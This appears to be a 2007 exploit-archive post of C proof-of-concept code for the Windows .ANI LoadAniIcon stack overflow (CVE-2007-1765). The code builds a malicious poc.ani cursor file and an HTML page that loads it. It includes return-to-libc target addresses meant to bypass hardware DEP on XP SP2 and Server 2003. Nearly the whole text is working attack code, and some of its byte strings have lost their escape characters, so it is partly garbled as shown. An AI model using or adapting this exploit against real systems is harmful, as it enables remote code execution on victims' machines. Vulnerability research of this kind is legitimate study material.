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Posted on 05 April 2007

/*
* version 0.5
* Copyright (c) 2007 devcode
*
*
*			^^ D E V C O D E ^^
*
* Windows .ANI LoadAniIcon Stack Overflow For Hardware DEP XP SP2
* [CVE-2007-1765]
*
*
* Description:
*    A vulnerability has been identified in Microsoft Windows,
*    which could be exploited by remote attackers to take complete
*    control of an affected system. This issue is due to a stack overflow
*    error within the "LoadAniIcon()" [user32.dll] function when rendering
*    cursors, animated cursors or icons with a malformed header, which could
*    be exploited by remote attackers to execute arbitrary commands by
*    tricking a user into visiting a malicious web page or viewing an email
*    message containing a specially crafted ANI file.
*
* Hotfix/Patch:
*    None as of this time.
*
* Vulnerable systems:
*	  Microsoft Windows 2000 Service Pack 4
*	  Microsoft Windows XP Service Pack 2
*	  Microsoft Windows XP 64-Bit Edition version 2003 (Itanium)
*	  Microsoft Windows XP Professional x64 Edition
*	  Microsoft Windows Server 2003
*	  Microsoft Windows Server 2003 (Itanium)
*	  Microsoft Windows Server 2003 Service Pack 1
*	  Microsoft Windows Server 2003 Service Pack 1 (Itanium)
*	  Microsoft Windows Server 2003 x64 Edition
*	  Microsoft Windows Vista
*
*	  Microsoft Internet Explorer 6
*	  Microsoft Internet Explorer 7
*
* Tested on:
* 	 Microsoft XP SP2 + DEP + Internet Explorer 6
*
*    This is a PoC and was created for educational purposes only. The
*    author is not held responsible if this PoC does not work or is
*    used for any other purposes than the one stated above.
*
*	Credit goes to HOD (if he/they exist :P) for the html. Works on
*    XP SP2 with Hardware DEP enabled, go figure.
*
*    ^^ shoutz to Wonk(if he exists r0fl), InTeL, thrasher :)
*
*
*/
#include <iostream>
#include <windows.h>

/* ANI Header */
unsigned char uszAniHeader[] =
"x52x49x46x46x00x04x00x00x41x43x4Fx4Ex61x6Ex69x68"
"x24x00x00x00x24x00x00x00xFFxFFx00x00x0Ax00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x10x00x00x00x01x00x00x00x54x53x49x4Cx03x00x00x00"
"x10x00x00x00x54x53x49x4Cx03x00x00x00x02x02x02x02"
"x61x6Ex69x68xA8x03x00x00";

/* system("calc.exe"); */
char szExecute[] = "logoff.exex00";

unsigned char uszHtml[] =
"<html>"
"Microsoft Windows .ANI LoadAniIcon Exploit"
"<br>Copyright (c) 2007 devcode<br>"
"<style>" \n"* {CURSOR: url("poc.ani")}</style></head>"
"</html>";

/* Usage: ani.exe 1*/
char szIntro[] =
"
		Windows .ANI LoadAniIcon Stack Overflow
"
"			devcode (c) 2007
"
"[+] Targets:
"
"	(0) Kernel32.dll (ExitProcess)
"
"	(1) Windows XP SP2 + DEP
"
"	(2) Windows 2003 Server
"
"Usage: ani.exe <target>";

/* RET2LIBC attack */
typedef struct {
const char *szTarget;
/* kernel32.dll - set the proper stack frame
LEA EBP, DWORD PTR SS:[ESP+10]
SUB ESP, EAX
PUSH EBX
PUSH ESI
PUSH EDI
....
....
RETN
*/
unsigned char uszRet[5];
/* msvcrt.dll - system() */
unsigned char uszMsvcrtCall[5];
} TARGET;

TARGET targets[] = {
{ "Kernel32.dll (ExitProcess)", "x90x90x90x90", "x90x90x90x90" },
{ "Windows XP SP2", "xD6x24x80x7C", "xC7x93xC2x77" },
{ "Windows 2003 Server", "x0Ax17xE4x77", "x10x8CxBBx77" }
};

int main( int argc, char **argv ) {
char szBuffer[1024];
FILE *f;
void *pExitProcess[4];

if ( argc < 2 ) {
printf("%s
", szIntro );
return 0;
}

if ( atoi( argv[1] ) == 0 ) {
printf("[+] Getting ExitProcess address...
");
*pExitProcess = GetProcAddress( GetModuleHandle( "kernel32.dll" ),
"ExitProcess" );
if ( pExitProcess == NULL ) {
printf("[-] Cannot get ExitProcess address
");
return 0;
}
memcpy( targets[1].uszRet, pExitProcess, 4 );
}

printf("[+] Creating ANI header...
");
memset( szBuffer, 0x90, sizeof( szBuffer ) );
memcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );

printf("[+] Copying execution code...
");
memcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );
memset( szBuffer + 136, 0, 4 );
memset( szBuffer + 204, 0, 4 );
szBuffer[136] = 0x6C;
szBuffer[204] = 0x6C;
memcpy( szBuffer + 196, targets[atoi(argv[1])].uszMsvcrtCall, 4 );
memcpy( szBuffer + 200, targets[atoi(argv[1])].uszMsvcrtCall, 4 );
memcpy( szBuffer + 240, szExecute, sizeof( szExecute ) - 1 );

f = fopen( "poc.ani", "wb" );
if ( f == NULL ) {
printf("[-] Cannot create ani file
");
return 0;
}

fwrite( szBuffer, 1, 1024, f );
fclose( f );
printf("[+] .ANI file succesfully created!
");

f = fopen( "poc.html", "wb" );
if ( f == NULL ) {
printf("[-] Cannot create html file
");
return 0;
}

fwrite( uszHtml, 1, sizeof( uszHtml ), f );
fclose( f );
printf("[+] HTML file succesfully created!
");

return 0;
}

 

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